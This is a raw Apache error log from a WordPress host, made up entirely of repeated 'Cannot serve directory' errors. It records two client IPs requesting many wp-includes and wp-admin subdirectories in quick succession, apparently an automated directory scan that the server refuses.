[Thu Apr 09 18:01:55.707345 2026] [autoindex:error] [pid 20837:tid 20851] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:02:00.843817 2026] [autoindex:error] [pid 20837:tid 20861] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:02:01.096774 2026] [autoindex:error] [pid 20837:tid 20854] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:02:01.314102 2026] [autoindex:error] [pid 20837:tid 20840] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:02:09.457389 2026] [autoindex:error] [pid 20837:tid 20840] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:02:09.720418 2026] [autoindex:error] [pid 20837:tid 20842] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:02:10.177893 2026] [autoindex:error] [pid 20837:tid 20859] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:02:10.398745 2026] [autoindex:error] [pid 20837:tid 20845] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:02:13.004565 2026] [autoindex:error] [pid 20837:tid 20860] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:02:13.226378 2026] [autoindex:error] [pid 20837:tid 20851] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:02:22.630030 2026] [autoindex:error] [pid 20837:tid 20851] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:02:28.833605 2026] [autoindex:error] [pid 20837:tid 20852] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:02:29.348014 2026] [autoindex:error] [pid 20837:tid 20856] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:02:37.057549 2026] [autoindex:error] [pid 20837:tid 20858] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:02:37.279651 2026] [autoindex:error] [pid 20837:tid 20846] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:02:47.411462 2026] [autoindex:error] [pid 20837:tid 20852] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:02:50.122105 2026] [autoindex:error] [pid 20837:tid 20854] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:02:52.764598 2026] [autoindex:error] [pid 20837:tid 20859] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:02:53.002347 2026] [autoindex:error] [pid 20837:tid 20862] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:02:53.225361 2026] [autoindex:error] [pid 20837:tid 20853] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:02:54.772843 2026] [autoindex:error] [pid 20837:tid 20860] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/cache/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:02:57.409931 2026] [autoindex:error] [pid 20837:tid 20841] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:03:02.708682 2026] [autoindex:error] [pid 20837:tid 20853] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:03:02.932435 2026] [autoindex:error] [pid 20837:tid 20857] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:03:10.480201 2026] [autoindex:error] [pid 20837:tid 20844] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:03:13.233367 2026] [autoindex:error] [pid 20837:tid 20847] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:03:18.866529 2026] [autoindex:error] [pid 20837:tid 20839] [client 45.131.195.219:28515] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:03:24.037586 2026] [autoindex:error] [pid 20837:tid 20856] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/edit-widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:03:24.261878 2026] [autoindex:error] [pid 20837:tid 20863] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/src/Exception/Http/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:03:24.488270 2026] [autoindex:error] [pid 20837:tid 20849] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:03:24.706879 2026] [autoindex:error] [pid 20837:tid 20844] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:03:24.931953 2026] [autoindex:error] [pid 20837:tid 20841] [client 45.131.195.219:28515] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:03:40.810286 2026] [autoindex:error] [pid 18477:tid 18495] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:03:41.035362 2026] [autoindex:error] [pid 18477:tid 18501] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:03:41.271407 2026] [autoindex:error] [pid 18477:tid 18485] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:03:41.500451 2026] [autoindex:error] [pid 18477:tid 18489] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:03:41.727609 2026] [autoindex:error] [pid 18477:tid 18480] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/calendar/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:03:54.457391 2026] [autoindex:error] [pid 18477:tid 18483] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:03:54.671521 2026] [autoindex:error] [pid 18477:tid 18484] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:03:54.920838 2026] [autoindex:error] [pid 18477:tid 18503] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:03:55.165002 2026] [autoindex:error] [pid 18477:tid 18501] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:03:55.397768 2026] [autoindex:error] [pid 18477:tid 18485] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:04:05.484352 2026] [autoindex:error] [pid 18477:tid 18501] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:04:13.210141 2026] [autoindex:error] [pid 18477:tid 18486] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:04:13.443956 2026] [autoindex:error] [pid 18477:tid 18494] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:04:16.085496 2026] [autoindex:error] [pid 18477:tid 18500] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/utils/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:04:28.607404 2026] [autoindex:error] [pid 18477:tid 18482] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:04:29.041928 2026] [autoindex:error] [pid 18477:tid 18495] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:04:29.296670 2026] [autoindex:error] [pid 18477:tid 18497] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:04:39.246324 2026] [autoindex:error] [pid 18477:tid 18489] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:04:46.854021 2026] [autoindex:error] [pid 18477:tid 18487] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:05:11.516128 2026] [autoindex:error] [pid 18477:tid 18491] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/imgareaselect/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:05:16.615337 2026] [autoindex:error] [pid 18477:tid 18484] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:05:16.833474 2026] [autoindex:error] [pid 18477:tid 18479] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:05:21.969335 2026] [autoindex:error] [pid 18477:tid 18483] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:05:24.681402 2026] [autoindex:error] [pid 18477:tid 18489] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:05:59.046762 2026] [autoindex:error] [pid 18477:tid 18495] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/skins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:06:04.240585 2026] [autoindex:error] [pid 18477:tid 18490] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/ui/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
